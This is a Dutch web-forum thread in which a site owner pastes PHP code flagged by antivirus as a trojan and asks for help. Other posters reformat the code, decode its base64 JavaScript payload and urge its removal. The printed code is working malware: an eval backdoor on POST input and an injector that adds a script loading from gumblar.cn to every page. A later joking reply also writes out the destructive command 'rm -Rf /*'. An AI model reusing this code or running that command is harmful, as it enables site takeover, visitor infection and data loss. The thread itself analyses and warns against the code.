trojaans paard
Ik gebruik avast antivirus en volgens dat programma zit er een deel van JS:Redirector-H3 in mijn website.
Nu staat deze php in mijn site en als ik hem weg haal geeft ie geen melding meer van die trojaan:
Code (php)
1
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihGcFNXKXt2YXIgYnhCPSd2YWA3MmAyMGFgM2RgMjJgNTNjcmA2OXB0RW5gNjdpbmVgMjJgMmNiYDNkYDIyVmVgNzJzaW9uKGAyOStgMjJgMmNgNmFgM2RgMjJgMjJgMmN1YDNkbmF2aWdgNjF0YDZmcmAyZXVzYDY1YDcyQWdgNjVudGAzYmlgNjYoKHVgMmVgNjluZGV4T2YoYDIyV2luYDIyKWAzZTApYDI2YDI2KHVgMmVpbmRlYDc4T2YoYDIyTlRgMjA2YDIyKWAzYzBgMjlgMjZgMjZgMjhgNjRvY3VgNmRlbnRgMmVgNjNgNmZva2A2OWVgMmVgNjlgNmVkZWA3OE9gNjYoYDIybWlla2AzZDFgMjJgMjlgM2MwKWAyNmAyNih0eXBlb2YoenJ2YDdhdHNgMjlgMjFgM2R0eWA3MGVvZihgMjJgNDFgMjJgMjkpKWA3YmA3YXJgNzZ6dGA3M2AzZGAyMkFgMjJgM2JldmFgNmNgMjhgMjJpYDY2KHdpbmRvYDc3YDJlYDIyK2ErYDIyKWpgM2RqK2AyMmAyYmFgMmJgMjJNYWA2YW9yYDIyK2IrYStgMjJNaWA2ZWA2ZnJgMjJgMmJgNjJgMmJhYDJiYDIyQmA3NWlsYDY0YDIyK2IrYDIyamAzYmAyMilgM2JkYDZmY2A3NWA2ZGVudGAyZXdyaXRlKGAyMmAzY3NgNjNyaXB0YDIwc3JjYDNkYDJmYDJmZ3VtYmxhYDcyYDJlY25gMmZyYDczYDczYDJmYDNmaWRgM2RgMjIrYDZhK2AyMmAzZWAzY2A1Y2AyZnNjcmlwYDc0YDNlYDIyKWAzYmA3ZCc7dmFyIEZPUTc9YnhCLnJlcGxhY2UoRnBTVywnJScpO3ZhciB4d3B6PXVuZXNjYXBlKEZPUTcpO2V2YWwoeHdweil9KSgvYC9nKTsKIC0tPjwvc2NyaXB0Pg=='));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)||stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>
Maar als ik deze weghaal, werkt mijn site ook niet meer goed.
Weet iemand wat er veranderd moet worden aan deze code?
bij voorbaat dank,
Mark
Weet niet wát je op je site heb staan, maar zoiets als dat kan nooit goed zijn..
Chris Kortaan schreef op 12.05.2009 09:29:
Weet niet wát je op je site heb staan, maar zoiets als dat kan nooit goed zijn..
Haha inderdaad xD
Nou ik zou als eerste dat script language weghalen!!
Doe altijd om te includen
(Goede Anti Virus ;))
Irritante code in één lijn, verder heb ik ook niet super veel verstand van javascript die erin zit, dus daar moet iemand anders naar kijken :P
Kun je de code splitsen in regels, bv:
Code (php)
1
2
3
4
5
6
7
8
9
10
2
3
4
5
6
7
8
9
10
<?php
if(!function_exists('...'){
echo "weetikveel";
} else {
echo "nee inderdaad";
}
[/code]
En heb je misschien een voorbeeldje? Wat is het voor site dan xD
Een hack site? :P
if(!function_exists('...'){
echo "weetikveel";
} else {
echo "nee inderdaad";
}
[/code]
En heb je misschien een voorbeeldje? Wat is het voor site dan xD
Een hack site? :P
Gewijzigd op 01/01/1970 01:00:00 door henktrol
sorry ik heb alles geknipt en geplakt in een keer van mijn site. het is een ptc site. ik heb dat script language weggehaald maar dat heeft nog niet geholpen
alvast bedankt,
Mark
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
if (!function_exists('tmp_lkojfghx'))
{
if (isset($_POST['tmp_lkojfghx3']))
eval($_POST['tmp_lkojfghx3']);
if (!defined('TMP_XHGFJOKL'))
define('TMP_XHGFJOKL', base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihGcFNXKXt2YXIgYnhCPSd2YWA3MmAyMGFgM2RgMjJgNTNjcmA2OXB0RW5gNjdpbmVgMjJgMmNiYDNkYDIyVmVgNzJzaW9uKGAyOStgMjJgMmNgNmFgM2RgMjJgMjJgMmN1YDNkbmF2aWdgNjF0YDZmcmAyZXVzYDY1YDcyQWdgNjVudGAzYmlgNjYoKHVgMmVgNjluZGV4T2YoYDIyV2luYDIyKWAzZTApYDI2YDI2KHVgMmVpbmRlYDc4T2YoYDIyTlRgMjA2YDIyKWAzYzBgMjlgMjZgMjZgMjhgNjRvY3VgNmRlbnRgMmVgNjNgNmZva2A2OWVgMmVgNjlgNmVkZWA3OE9gNjYoYDIybWlla2AzZDFgMjJgMjlgM2MwKWAyNmAyNih0eXBlb2YoenJ2YDdhdHNgMjlgMjFgM2R0eWA3MGVvZihgMjJgNDFgMjJgMjkpKWA3YmA3YXJgNzZ6dGA3M2AzZGAyMkFgMjJgM2JldmFgNmNgMjhgMjJpYDY2KHdpbmRvYDc3YDJlYDIyK2ErYDIyKWpgM2RqK2AyMmAyYmFgMmJgMjJNYWA2YW9yYDIyK2IrYStgMjJNaWA2ZWA2ZnJgMjJgMmJgNjJgMmJhYDJiYDIyQmA3NWlsYDY0YDIyK2IrYDIyamAzYmAyMilgM2JkYDZmY2A3NWA2ZGVudGAyZXdyaXRlKGAyMmAzY3NgNjNyaXB0YDIwc3JjYDNkYDJmYDJmZ3VtYmxhYDcyYDJlY25gMmZyYDczYDczYDJmYDNmaWRgM2RgMjIrYDZhK2AyMmAzZWAzY2A1Y2AyZnNjcmlwYDc0YDNlYDIyKWAzYmA3ZCc7dmFyIEZPUTc9YnhCLnJlcGxhY2UoRnBTVywnJScpO3ZhciB4d3B6PXVuZXNjYXBlKEZPUTcpO2V2YWwoeHdweil9KSgvYC9nKTsKIC0tPjwvc2NyaXB0Pg=='));
function tmp_lkojfghx($s)
{
if ($g = (substr($s, 0, 2) == chr(31) . chr(139)))
$s = gzinflate(substr($s, 10, -8));
if (preg_match_all('#<script(.*?)</script>#is', $s, $a))
foreach ($a[0] as $v)
if (count(explode("\n", $v)) > 5)
{
$e = preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v) || preg_match('#[\(\[](\s*\d+,){20,}#', $v);
if ((preg_match('#\beval\b#', $v) && ($e || strpos($v, 'fromCharCode'))) || ($e && strpos($v, 'document.write')))
$s = str_replace($v, '', $s);
}
$s1 = preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#', '', $s);
if (stristr($s, '<body'))
$s = preg_replace('#(\s*<body)#mi', TMP_XHGFJOKL . '\1', $s1);
elseif (($s1 != $s) || stristr($s, '</body') || stristr($s, '</title>'))
$s = $s1 . TMP_XHGFJOKL;
return $g ? gzencode($s) : $s;
}
function tmp_lkojfghx2($a = 0, $b = 0, $c = 0, $d = 0)
{
$s = array();
if ($b && $GLOBALS['tmp_xhgfjokl'])
call_user_func($GLOBALS['tmp_xhgfjokl'], $a, $b, $c, $d);
foreach (@ob_get_status(1) as $v)
if (($a = $v['name']) == 'tmp_lkojfghx')
return;
else
$s[] = array($a == 'default output handler' ? false : $a);
for ($i = count($s) - 1; $i >= 0; $i--)
{
$s[$i][1] = ob_get_contents();
ob_end_clean();
}
ob_start('tmp_lkojfghx');
for ($i = 0; $i < count($s); $i++)
{
ob_start($s[$i][0]);
echo $s[$i][1];
}
}
}
if (($a = @set_error_handler('tmp_lkojfghx2')) != 'tmp_lkojfghx2')
$GLOBALS['tmp_xhgfjokl'] = $a;
tmp_lkojfghx2();
?>
if (!function_exists('tmp_lkojfghx'))
{
if (isset($_POST['tmp_lkojfghx3']))
eval($_POST['tmp_lkojfghx3']);
if (!defined('TMP_XHGFJOKL'))
define('TMP_XHGFJOKL', base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbihGcFNXKXt2YXIgYnhCPSd2YWA3MmAyMGFgM2RgMjJgNTNjcmA2OXB0RW5gNjdpbmVgMjJgMmNiYDNkYDIyVmVgNzJzaW9uKGAyOStgMjJgMmNgNmFgM2RgMjJgMjJgMmN1YDNkbmF2aWdgNjF0YDZmcmAyZXVzYDY1YDcyQWdgNjVudGAzYmlgNjYoKHVgMmVgNjluZGV4T2YoYDIyV2luYDIyKWAzZTApYDI2YDI2KHVgMmVpbmRlYDc4T2YoYDIyTlRgMjA2YDIyKWAzYzBgMjlgMjZgMjZgMjhgNjRvY3VgNmRlbnRgMmVgNjNgNmZva2A2OWVgMmVgNjlgNmVkZWA3OE9gNjYoYDIybWlla2AzZDFgMjJgMjlgM2MwKWAyNmAyNih0eXBlb2YoenJ2YDdhdHNgMjlgMjFgM2R0eWA3MGVvZihgMjJgNDFgMjJgMjkpKWA3YmA3YXJgNzZ6dGA3M2AzZGAyMkFgMjJgM2JldmFgNmNgMjhgMjJpYDY2KHdpbmRvYDc3YDJlYDIyK2ErYDIyKWpgM2RqK2AyMmAyYmFgMmJgMjJNYWA2YW9yYDIyK2IrYStgMjJNaWA2ZWA2ZnJgMjJgMmJgNjJgMmJhYDJiYDIyQmA3NWlsYDY0YDIyK2IrYDIyamAzYmAyMilgM2JkYDZmY2A3NWA2ZGVudGAyZXdyaXRlKGAyMmAzY3NgNjNyaXB0YDIwc3JjYDNkYDJmYDJmZ3VtYmxhYDcyYDJlY25gMmZyYDczYDczYDJmYDNmaWRgM2RgMjIrYDZhK2AyMmAzZWAzY2A1Y2AyZnNjcmlwYDc0YDNlYDIyKWAzYmA3ZCc7dmFyIEZPUTc9YnhCLnJlcGxhY2UoRnBTVywnJScpO3ZhciB4d3B6PXVuZXNjYXBlKEZPUTcpO2V2YWwoeHdweil9KSgvYC9nKTsKIC0tPjwvc2NyaXB0Pg=='));
function tmp_lkojfghx($s)
{
if ($g = (substr($s, 0, 2) == chr(31) . chr(139)))
$s = gzinflate(substr($s, 10, -8));
if (preg_match_all('#<script(.*?)</script>#is', $s, $a))
foreach ($a[0] as $v)
if (count(explode("\n", $v)) > 5)
{
$e = preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v) || preg_match('#[\(\[](\s*\d+,){20,}#', $v);
if ((preg_match('#\beval\b#', $v) && ($e || strpos($v, 'fromCharCode'))) || ($e && strpos($v, 'document.write')))
$s = str_replace($v, '', $s);
}
$s1 = preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#', '', $s);
if (stristr($s, '<body'))
$s = preg_replace('#(\s*<body)#mi', TMP_XHGFJOKL . '\1', $s1);
elseif (($s1 != $s) || stristr($s, '</body') || stristr($s, '</title>'))
$s = $s1 . TMP_XHGFJOKL;
return $g ? gzencode($s) : $s;
}
function tmp_lkojfghx2($a = 0, $b = 0, $c = 0, $d = 0)
{
$s = array();
if ($b && $GLOBALS['tmp_xhgfjokl'])
call_user_func($GLOBALS['tmp_xhgfjokl'], $a, $b, $c, $d);
foreach (@ob_get_status(1) as $v)
if (($a = $v['name']) == 'tmp_lkojfghx')
return;
else
$s[] = array($a == 'default output handler' ? false : $a);
for ($i = count($s) - 1; $i >= 0; $i--)
{
$s[$i][1] = ob_get_contents();
ob_end_clean();
}
ob_start('tmp_lkojfghx');
for ($i = 0; $i < count($s); $i++)
{
ob_start($s[$i][0]);
echo $s[$i][1];
}
}
}
if (($a = @set_error_handler('tmp_lkojfghx2')) != 'tmp_lkojfghx2')
$GLOBALS['tmp_xhgfjokl'] = $a;
tmp_lkojfghx2();
?>
Zo te zien plaatst het dus alleen js op je site dmv set_error_handler. Dus als je geen fout op je site zou hebben zou, denk ik, ook geen js op je site komen.
Verder moet je je site nu goed nalopen, want dit is er dus opgekomen, het kan zomaar zijn dat er weer een keer later hetzelfde of iets anders op komt.
Code (php)
1
2
3
4
2
3
4
Overigens, het stukje base64 is dus een stukje javascript, die php vervolgens bewerkt..
Code (php)
1
2
3
2
3
<script language=javascript><!--
(function(FpSW){var bxB='va`72`20a`3d`22`53cr`69ptEn`67ine`22`2cb`3d`22Ve`72sion(`29+`22`2c`6a`3d`22`22`2cu`3dnavig`61t`6fr`2eus`65`72Ag`65nt`3bi`66((u`2e`69ndexOf(`22Win`22)`3e0)`26`26(u`2einde`78Of(`22NT`206`22)`3c0`29`26`26`28`64ocu`6dent`2e`63`6fok`69e`2e`69`6ede`78O`66(`22miek`3d1`22`29`3c0)`26`26(typeof(zrv`7ats`29`21`3dty`70eof(`22`41`22`29))`7b`7ar`76zt`73`3d`22A`22`3beva`6c`28`22i`66(windo`77`2e`22+a+`22)j`3dj+`22`2ba`2b`22Ma`6aor`22+b+a+`22Mi`6e`6fr`22`2b`62`2ba`2b`22B`75il`64`22+b+`22j`3b`22)`3bd`6fc`75`6dent`2ewrite(`22`3cs`63ript`20src`3d`2f`2fgumbla`72`2ecn`2fr`73`73`2f`3fid`3d`22+`6a+`22`3e`3c`5c`2fscrip`74`3e`22)`3b`7d';var FOQ7=bxB.replace(FpSW,'%');var xwpz=unescape(FOQ7);eval(xwpz)})(/`/g);
--></script>
(function(FpSW){var bxB='va`72`20a`3d`22`53cr`69ptEn`67ine`22`2cb`3d`22Ve`72sion(`29+`22`2c`6a`3d`22`22`2cu`3dnavig`61t`6fr`2eus`65`72Ag`65nt`3bi`66((u`2e`69ndexOf(`22Win`22)`3e0)`26`26(u`2einde`78Of(`22NT`206`22)`3c0`29`26`26`28`64ocu`6dent`2e`63`6fok`69e`2e`69`6ede`78O`66(`22miek`3d1`22`29`3c0)`26`26(typeof(zrv`7ats`29`21`3dty`70eof(`22`41`22`29))`7b`7ar`76zt`73`3d`22A`22`3beva`6c`28`22i`66(windo`77`2e`22+a+`22)j`3dj+`22`2ba`2b`22Ma`6aor`22+b+a+`22Mi`6e`6fr`22`2b`62`2ba`2b`22B`75il`64`22+b+`22j`3b`22)`3bd`6fc`75`6dent`2ewrite(`22`3cs`63ript`20src`3d`2f`2fgumbla`72`2ecn`2fr`73`73`2f`3fid`3d`22+`6a+`22`3e`3c`5c`2fscrip`74`3e`22)`3b`7d';var FOQ7=bxB.replace(FpSW,'%');var xwpz=unescape(FOQ7);eval(xwpz)})(/`/g);
--></script>
Lijkt me UITERST gevaarlijk! Dit voert gewoon code uit die een gebruiker kan meesturen aan je pagina. Dit is dus een ingebouwde trojan in PHP!!!!!
Weggooien dit script en nu METEEN!
ja misschien wel :P
php schreef op 12.05.2009 16:32:
ja misschien wel :P
Nee, zeker weten.
Je wilt nooit of te nimmer dat een gebruiker php op je server kan uitvoeren.
Karl schreef op 12.05.2009 16:38:
Je wilt nooit of te nimmer dat een gebruiker php op je server kan uitvoeren.
Echt niet?
Deze ook niet?
Voor de lezers: NIET UITPROBEREN.
Stel dat het is toegestaan dan heb je een heel groot probleem.
SanThe schreef op 12.05.2009 16:42:
Echt niet?
Deze ook niet?
Karl schreef op 12.05.2009 16:38:
Je wilt nooit of te nimmer dat een gebruiker php op je server kan uitvoeren.
Echt niet?
Deze ook niet?
Naja, met een knopje "Self destruct" mag het wel.
SanThe schreef op 12.05.2009 16:42:
Stel dat het is toegestaan dan heb je een heel groot probleem.
Ik vraag me altijd af of het werkt. Ik denk iig wel dat je home wordt verwijderd, maar de rest blijft bestaan, ook als je onder root zit denk ik. Maar goed toch effe voor de duidelijkheid:
JE MOET GEEN DINGEN PROBEREN WAARVAN JE NIET WEET WAT ZE DOEN!
Karl schreef op 12.05.2009 17:05:
Ik vraag me altijd af of het werkt. Ik denk iig wel dat je home wordt verwijderd, maar de rest blijft bestaan, ook als je onder root zit denk ik. Maar goed toch effe voor de duidelijkheid:
JE MOET GEEN DINGEN PROBEREN WAARVAN JE NIET WEET WAT ZE DOEN!
SanThe schreef op 12.05.2009 16:42:
Stel dat het is toegestaan dan heb je een heel groot probleem.
Ik vraag me altijd af of het werkt. Ik denk iig wel dat je home wordt verwijderd, maar de rest blijft bestaan, ook als je onder root zit denk ik. Maar goed toch effe voor de duidelijkheid:
JE MOET GEEN DINGEN PROBEREN WAARVAN JE NIET WEET WAT ZE DOEN!
rm -Rf /* is dan handiger, dan voorkom je allerlei vragen. Als je dat als root doet heb je wel een probleem. Er zijn wat dingen gelokt of waar je als root niet eens zomaar aan mag komen maar verder gaat eigenlijk alles weg (Klasgenoot van me heeft dat bij een pc die uit de roulatie ging gedaan)
TJVB schreef op 12.05.2009 17:40:
rm -Rf /* is dan handiger
Daar had ik inderdaad niet opgelet, maar force is ook wel handig om d'r bij te hebben :-)
TJVB schreef op 12.05.2009 17:40:
Als je dat als root doet heb je wel een probleem. Er zijn wat dingen gelokt of waar je als root niet eens zomaar aan mag komen maar verder gaat eigenlijk alles weg (Klasgenoot van me heeft dat bij een pc die uit de roulatie ging gedaan)
Mjah, ik meen dus dat ik ooit eens heb gelezen dat linux zichzelf beschermd, dus dat je belangrijke bestanden niet mag weggooien...
Ja, maar als root kun je bij heel veel bestanden wel waardoor die tijdens het opstarten vanalles mist en niet verder gaat. Je kunt het proberen in een virtuele machine om het eens te testen.
TJVB schreef op 12.05.2009 17:55:
Ja, maar als root kun je bij heel veel bestanden wel waardoor die tijdens het opstarten vanalles mist en niet verder gaat. Je kunt het proberen in een virtuele machine om het eens te testen.
Dat staat sowieso nog op m'n lijstje om te kloten met linux :-P.
Maar nu nog even niet.
En ik heb hier ook nog wel genoeg oude bakken liggen :-).